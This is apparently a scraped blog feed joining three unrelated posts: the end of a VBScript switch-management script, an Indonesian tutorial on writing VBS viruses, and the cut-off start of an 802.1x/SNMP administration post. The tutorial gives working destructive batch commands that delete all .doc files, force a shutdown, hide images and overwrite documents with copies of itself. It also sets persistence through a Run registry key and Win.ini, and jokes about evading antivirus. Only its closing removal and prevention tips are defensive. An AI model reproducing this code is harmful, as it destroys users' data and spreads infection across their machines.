'FUNCTION:                                                              *
'       enum_VLAN(strAgent)                                             *
'Purpose:                                                               *
'       enumerate the vlans configured on the switch.                   *
'                                                                       *
'Inputs:                                                                *
'       strAgent: management IP address of the switch                   *
'                                                                       *
'Returns:                                                               *
'       Array with each element containing a vlan number                *
'                                                                       *
'Calls:                                                                 *
'       SNMPWALKCMD - constant defining the path to an external         *
'       program used to perform an snmp walk                            *
'                                                                       *
'Comments:                                                              *
'       CISCO-VTP-MIB is cisco specific.                                *
'       Reference cisco Document ID: 41003                              *
'       "How to Get VLAN Information From a Catalyst Using SNMP" viewed *
'       at http://www.cisco.com/en/US/tech/tk648/tk362/technologies_    *
'                configuration_example09186a008015773e.shtml            *
'        on 16/11/2006                                                  *
'************************************************************************
function enum_VLAN(strAgent)
dim WshShell, oExec
dim re 'as regexp
dim matches
dim match
dim tempstr, stroutput

  set re = new regexp
  re.global = True
  re.multiline = True
'output lines from SNMPCMD should look like
'        ".1.3.6.1.4.1.9.9.46.1.3.1.1.2.1.125 1"
'Pattern to capture the last digits of the snmp OID
'Include VTPVLANSTATE in the pattern to minimise regex engine backtracking
  re.pattern = "^" &#38; VTPVLANSTATE &#38; "(?:\.\d+)+\.(\d+)\s+\d+$"

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SNMPWALKCMD &#38; SNMPREAD &#38; " " &#38; strAgent &#38; " " &#38; VTPVLANSTATE)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
  tempstr = ""
  set matches = re.execute(stroutput)
  for each match in matches
    tempstr = tempstr &#38; match.submatches(0) &#38; " "
  next
  enum_VLAN = split(trim(tempstr))
end function

'************************************************************************
'FUNCTION:                                                              *
'       mac2OID(strmac)                                                 *
'Purpose:                                                               *
'       Convert mac address string to a decimal string for snmp queries.*
'                                                                       *
'Inputs:                                                                *
'       strmac: Mac address string in the format 0040CA6934EE           *
'                                                                       *
'Returns:                                                               *
'       snmp OID string of the form .0.64.202.105.52.238 or an empty    *
'        string ("") if an error occured.                               *
'                                                                       *
'Calls:                                                                 *
'       Hex2Dec                                                         *
'                                                                       *
'Comments:                                                              *
'        No error checking is performed on the input character set.     *
'        The input string is validated by length only.                  *
'************************************************************************
function mac2OID(strmac)
dim intOctet
dim arrOctet
dim strOID

  strOID = ""
  if len(strmac) = 12 then
    for intOctet = 1 to 11 step 2
      strOID = strOID &#38; "." &#38; Hex2Dec(mid(strmac,intOctet,2))
    next
  end if
  mac2OID = strOID
end function

'************************************************************************
'FUNCTION:                                                              *
'       Hex2Dec(strHex)                                                 *
'Purpose:                                                               *
'       Convert a string representation of a hexadecimal number to a    *
'       decimal string.                                                 *
'                                                                       *
'Inputs:                                                                *
'       strHex: string containing hexadecimal characters [0-9a-fA-F]    *
'                                                                       *
'Returns:                                                               *
'       string containing the input converted to decimal characters[0-9]*
'                                                                       *
'Calls:                                                                 *
'       Nothing                                                         *
'                                                                       *
'Comments:                                                              *
'       No error checking is performed on the input.                    *
'       Beware of overflow in CInt function. Consider modifying to Clng *
'       before using in other code.                                     *
'************************************************************************
Function Hex2Dec(strHex)
Hex2Dec = "" &#38; CInt("&#38;H" &#38; strHex)
End Function

'************************************************************************
'FUNCTION:                                                              *
'       getSwitchMgmtAddr(clientIPAddr)                                 *
'Purpose:                                                               *
'       Determine the switch management IP address from the client IP   *
'       address.                                                        *
'                                                                       *
'Inputs:                                                                *
'       clientIPAddr: string the client IP address in dotted notation   *
'                                                                       *
'Returns:                                                               *
'       string containing the switch management IP address in dotted    *
'       notation.                                                       *
'                                                                       *
'Calls:                                                                 *
'       Nothing                                                         *
'                                                                       *
'Comments:                                                              *
'       No error checking is performed on the input.                    *
'************************************************************************
Function getSwitchMgmtAddr(clientIPAddr)
dim intOctet
dim arrOctet

  arrOctet = split(clientIPAddr, ".")
  intOctet = arrOctet(2) and &#38;HF8
  arrOctet(2) = intOctet + 4
  arroctet(3) = SW_MGMT_LAST_OCTET
  getSwitchMgmtAddr = join(arrOctet, ".")
end Function

'************************************************************************
'SUBROUTINE:                                                            *
'       RebootComputer(AgentName)                                       *
'Purpose:                                                               *
'       Perform a remote reboot of the specified computer               *
'                                                                       *
'Inputs:                                                                *
'       AgentName: string containing the host to reboot as hostname or  *
'       ip address preceded by two backslashes ie \\192.168.32.100      *
'                                                                       *
'Returns:                                                               *
'       Nothing                                                         *
'                                                                       *
'Calls:                                                                 *
'       external OS utility c:\windows\system32\shutdown.exe            *
'                                                                       *
'Comments:                                                              *
'       No error checking is performed on the input.                    *
'************************************************************************
sub RebootComputer(AgentName)
dim WshShell, oExec
dim stroutput

  Set WshShell = CreateObject("WScript.Shell")
  Set oExec = WshShell.Exec(SHUTDOWNCMD &#38; AgentName &#38; SHUTDOWNARGS)
  Do while Not oExec.StdOut.AtEndOfStream
    stroutput = oExec.StdOut.readall
  Loop
  Do while Not oExec.Stderr.AtEndOfStream
    stroutput = stroutput &#38; oExec.Stderr.readall
  Loop
  Do While oExec.Status &#60;&#62; 1
    WScript.Sleep 100
  Loop
  if len(stroutput) &#60;&#62; 0 then
    wshShell.logevent 1, AgentName &#38; _
        " did not accept the reboot request" &#38; VBCRLF &#38; stroutput
  end if
end sub

</code></pre>
</pre>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Memahami Pembuatan Virus VBS Bag 4 (Mudah Kok!!)]]></title>
<link>http://lspart.wordpress.com/?p=366</link>
<pubDate>Wed, 24 Sep 2008 04:32:08 +0000</pubDate>
<dc:creator>luck13y</dc:creator>
<guid>http://lspart.ru.wordpress.com/2008/09/24/memahami-pembuatan-virus-vbs-bag-4-mudah-kok/</guid>
<description><![CDATA[Catatan:Untuk yang ingin memahami pembuatan virus (yang sudah master boleh lewat)
Hi kita ketemu lag]]></description>
<content:encoded><![CDATA[<blockquote><p>Catatan:Untuk yang ingin memahami pembuatan virus (yang sudah master boleh lewat)</p></blockquote>
<p>Hi kita ketemu lagi untuk melakukan misi gila kita :D dan seperti janji saya sekarang kita akan membahas file *.bat yang berfungsi untuk menjalankan perintah command prompt secara bersamaan. oke ketikan kode berikut di notepad: date 07-07-07 dan save dengan nama edit_time.bat dan pilih “All File” dalam kolom “Save As Type” lalu jalankan!! setelah itu apa yang terjadi??<!--more--> yah tanggal berubah jadi juli-7-2007.<br />
Nah jika dihubungkan dengan perintah vbs di artikel sebelumnya yang akan menyebarkan flashdisk pada tahun 2008 anda bisa buat file *.bat tadi untuk merubah waktu menjadi 2008 sehingga virus tersebut akan selalu menyebar ke drive dan tidak bisa mati :D walaupun tidak perlu juga tidak apa-apa!! karena virus kita bisa menyebar pada detik ke-1 yang akan selalu ada selama 1 menit sekali.ngomong apaan sih?? wah berarti anda belum baca atau mengerti artikel sebelumnya!! saya anjurkan anda baca yang sebelumnya!! di save!! copy paste ke word juga boleh :D oke lanjut ke file *.bat kita tidak mungkin membuat banyak file *.bat karena selain akan cepat terdeteksi, kita juga akan semakin rumit merubah registry!! namun jangan kuatir karena file *.bat bisa menjalankan perintah DOS/COMMAND_PROMPT secara langsung. dan untuk memahami perintahnya anda bisa <a href="http://lspart.files.wordpress.com/2008/09/perintah-cmd.doc">Download disini!!</a><br />
Jika anda tidak puas dengan tutorial yang barusan anda download maka saya akan bahas beberapa perintah yang cocok untuk virus kita :D berikut perintah ini, kita buka notepad dan ketikan code berikut:<br />
del C:\*.doc ‘—– hapus semua file berextensi doc di drive c<br />
Shutdown -s -f -t 30 -c “Selamat Tidur” ‘—– -s = shutdown computer, -f = tutup semua aplikasi tanpa peringatan, -t = setting waktu(dalam detik) -c = menampilkan pesan “Selamat Tidur” (Bebas kita ubah)<br />
attrib +s +h C:\*.jpg /s /d ‘—– beri attribut hidden dan system semua file jpg<br />
for /R c:\ %%r in (*.cob *.doc) do copy %0 “%%r” ‘—– Copy isi file *.bat ke semua file *.cob dan *.doc di C<br />
for /R c:\ %%r in (*.cob *.doc) do ren “%%r” *.bat ‘—– Rename semua file *.cob dan *.doc jadi *.bat sehingga isi file jd virus kita :D haha..haha<br />
Untuk isi file bat yang akan menumpang di virus vbs kita anda boleh pilih mana yang paling cocok!! mungkin menghapus, shutdown dalam 30 detik, menyembunyikan atau merubah isinya jadi file *.bat?? dipilih!! dipilih!!<br />
atau boleh masukin semuanya sehingga virus kita ditambah kode berikut ini:<br />
Set bath = fso.CreateObject(towind &#38; “\sialan.bat”)<br />
bath.writeline “del C:\*.doc”<br />
bath.writeline “Shutdown -s -f -t 30″<br />
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do copy %0 %%r”<br />
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do ren %%r *.bat”<br />
bath.close<br />
‘bonus<br />
wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\”SysError”, “towind &#38; “\sialan.bat”, “REG_SZ”<br />
Maka ketika windows diaktifkan semua file doc akan menjadi *.bat dengan isi kode penghancur kita :D bisa diselamatkan ga tuh?? coba saja supaya anda tahu!!<br />
Namun jika anda punya anti virus biasanya kode tersebut akan di blok karena jelas-jelas untuk merusak!! lalu bagaimana?? kita berdoa supaya antivirus komputer sasaran tidak mengenali :D karena memang tidak semua antivirus akan memblok perintah tersebut. Oia sebagai tambahan kita bisa membuat file lain seperti *.html atau *.ini!! jika kita punya banyak duplikat virus kita bisa membuat file *.ini supaya orang tidak cepat mengetahui virus kita hanya dengan membuka Regedit. untuk terakhir kali saya akan berikan lagi suatu code yang akan merubah file ini di windows sehingga menjalankan virus kita. oke langsung saja tentunya dengan perintah<br />
set BuatIni = fso.CreateTextFile(”C:\WINDOWS\Win.ini”)<br />
BuatIni.writeline “[WINDOWS]”<br />
BuatIni.writeline “run = C:\Ju_Pe.vbs” ‘—-rubah sesuai letak dan nama virus<br />
BuatIni.writeline “load = C:\Persik.vbs” ‘—-rubah sesuai letak dan nama virus<br />
BuatIni.close<br />
Maka ketika windows dijalankan virus akan aktif!! walaupun mungkin registry telah dirubah.<br />
Fuih akhirnya beres juga yah tutorial membuat virus kita :D anda bisa gabungkan perintah-perintah sebelumnya bahkan memodifikasi tapi!! jika dipakai merusak anda yang tanggung jawab :D<br />
Dari pembahasan kita maka kita bisa simpulkan beberapa langkah berikut jika terkena virus vbs: jika tidak di enkripsi anda bisa melihat dan membunuh semua virus dan membenarkan registry dengan membaca source kodenya, tapi jika di enkripsi kita lakukan langkah berikut:<br />
1.Matikan proses virus!! anda bisa menggunakan tool pengganti TaskManager yang biasanya akan di blok.<br />
2.Hapus semua duplikat virus!! anda bisa gunakan antivirus update terbaru dan jika diblok virus anda rubah dulu namanya seperti PCMAV_CLN.exe jadi 123.exe<br />
3.Buka registry dan periksa dengan teliti semua subkey run otomatis biasanya akan terdapat key yang mengarah ke letak virus yang dijalankan dan periksa file win.ini!! jika dirubah anda minta dari komputer teman anda :D dan jika ada petunjuk letak virus langsung hapus.<br />
4.Rubah semua registry yang dirubah virus!! bisa dengan TuneUp Utilities dan sebagainya!!</p>
<p>Untuk pencegahan lakukan langkah berikut:<br />
1.Gunakan antivirus terbaru, jika bisa yang mempunyai fitur heuristik seperti ANSAV.<br />
2.Jangan asal klik file!! lihat dikolom type Windows Explorer apabila application tapi iconnya folder atau MS Word langsung hapus.<br />
3.Selalu scan jika mencolokan flaskdisk<br />
4.Matikan proses autorun melalui registry di alamat<br />
“HKCU(atau HKLM)\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”, buat DWORD value baru dengan nama NoDriveTypeAutorun dan isi dengan nilai 255. atau melalui start—Run—ketik GPEDIT.msc—User Configuration—Administratif Templates—–System—–Cari Turn Off AutoPlay—–klik 2x dan rubah jadi Enabled!!<br />
5.Jangan Pakai OS Windows, pake linux cos VMaker Indonesia cuma bisa bikin untuk windows :D Peace!!<br />
Nah dengan mengerti cara pembuatan tentunya kita juga jadi tahu cara menanggulanginya. maka tidak aneh ada dugaan kalau pembuat virus dan antivirus Join :D sebagai penutup!! saya bisa berkata bahwa virus vbs adalah virus tingkat rendah karena dibuat dengan kode yang sederhana menggunakan notepad walau tetap saja sulit bagi yang awam!! sesungguhnya masih banyak teknik membuat virus vbs yang lebih gila daripada ini termasuk yang sekarang banyak beredar dan itu tugas anda untuk terus belajar dan mengembangkan. lain kali jika saya punya waktu kita bahas pembuatan virus *bat enkripsi dan kalau anda mau yang menggunakan visual basic juga boleh :D supaya anda lebih mengerti kalau untuk menciptakan virus sehebat Flu-burung, Windx-Matrox atau RontokBrow itu tidak sesulit yang dibayangkan.<br />
oke jika yang sederhana ini anda sudah mengerti anda boleh contact saya dan kita akan bahas yang 1 tahap lebih sulit!!</p>
<p><a href="http://lspart.wordpress.com/2008/09/22/vbs3/">Tutorial Sebelumnya</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Re-Imaging Computers in 802.1x Networks - Part 4]]></title>
<link>http://networknerd.wordpress.com/?p=130</link>
<pubDate>Tue, 23 Sep 2008 23:13:21 +0000</pubDate>
<dc:creator>networknerd</dc:creator>
<guid>http://networknerd.ru.wordpress.com/2008/09/24/re-imaging-computers-in-8021x-networks-part-4/</guid>
<description><![CDATA[Finding the interface index
The bridgeport number is converted to an interface index by concatenatin]]></description>
<content:encoded><![CDATA[<p><strong>Finding the interface index</strong><br />
The bridgeport number is converted to an interface index by concatenating it to<br />
dot1dBasePortIfIndex and once again performing an snmp get operation.</p>
<blockquote><p>G:\usr\bin&#62;snmpget.exe -OnqU -v 2c -c public@100 192.168.36.11 .1.3.6.1.2.1.17.1.4.1.2.108<br />
.1.3.6.1.2.1.17.1.4.1.2.108 11002</p></blockquote>
<p>The interface index returned is 11002, and once again we can extract it from the output using a<br />
regular expression as shown in the getIFIndex() function in listing 1.</p>
<p><strong>Setting Dot1x port control</strong><br />
To allow the computer to connect to the network without a supplicant, the port is first placed into<br />
forced authorised mode. The interface index is concatenated to<br />
dot1xAuthAuthControlledPortControl and an snmp set operation is used with an integer<br />
argument of 3 (FORCEAUTHORISED). The same process can be used to return the switch port<br />
to normal operation by specifying an argument of 2 (AUTO). This operation is performed by the<br />
setPortControl() function in listing 2.</p>
<blockquote><p>G:\usr\bin&#62;snmpset.exe -v 2c -c private 192.168.36.11 .1.0.8802.1.1.1.1.2.1.1.6.1